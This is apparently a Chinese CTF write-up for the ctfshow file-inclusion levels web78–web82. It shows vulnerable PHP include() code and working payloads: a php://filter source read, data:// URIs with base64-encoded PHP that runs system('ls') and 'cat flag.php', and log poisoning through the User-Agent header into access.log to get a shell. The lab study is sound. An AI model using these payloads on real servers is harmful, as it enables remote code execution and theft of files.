当前位置:网站首页>ctfshow 文件包含
ctfshow 文件包含
2022-07-30 23:17:00 【白塔河冲浪手】
web78
进入环境

直接利用php://filter伪协议读取flag.php文件
?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码得到flag

web79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
} str_replace替换字符串

将变量file中的php替换成???
那我们这里就不能用php伪协议了换data协议并用base64加密
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==

?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
<?php system('cat flag.php'); ?>
web80
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
} 同上过滤php,data
正常服务器中的日志文件位置:
/var/log/nginx/access.log
/var/log/apache2/access.log这里包含日志文件来getshell

可以看见日志文件会记录User-Agent
抓包修改User-Agent
<?php system('ls');?>
<?php system('cat fl0g.php');?>
web81
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
} 同上过滤php,data,:
使用日志文件getshell
和上题一样
web82
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
?>.也过滤了日志包含不行
边栏推荐
猜你喜欢

Apache Doris series: In-depth understanding of real-time analytical database Apache Doris

$\text{ARC 145}$

MySQL连接时出现2003错误

Reverse linked list - in-place inversion method

PyTorch模型导出到ONNX文件示例(LeNet-5)

Gxlcms audio novel system/novel listening system source code

2sk2225 Substitute 3A/1500V Chinese Documentation【PDF Data Book】

Go1.18升级功能 - 泛型 从零开始Go语言

Flex布局使用

实验7(MPLS实验)
随机推荐
软件测试三阶段,你在哪一步?
Detailed operator
阿里云视频点播+项目实战
MySql统计函数COUNT详解
uniapp develops WeChat applet - soft exam brushing applet
Go语学习笔记 - gorm使用 - gorm处理错误 Web框架Gin(十)
Compressing Deep Graph Neural Networks via Adversarial Knowledge Distillation
leetcode 406. Queue Reconstruction by Height 根据身高重建队列(中等)
IDEA usage skills
leetcode:127. 单词接龙
【LeetCode】55. 跳跃游戏 - Go 语言题解
第十九周进度(了解物联网基础知识)
mysql获取近7天,7周,7月,7年日期,根据当前时间获取近7天,7周,7月,7年日期
Go1.18升级功能 - 模糊测试Fuzz 从零开始Go语言
HCIP第十六天笔记
2sk2225 Substitute 3A/1500V Chinese Documentation【PDF Data Book】
ZZULIOJ:1119: sequence order
Soft Exam Study Plan
微软商店出现【0x800706D9】解决方法
reindex win10
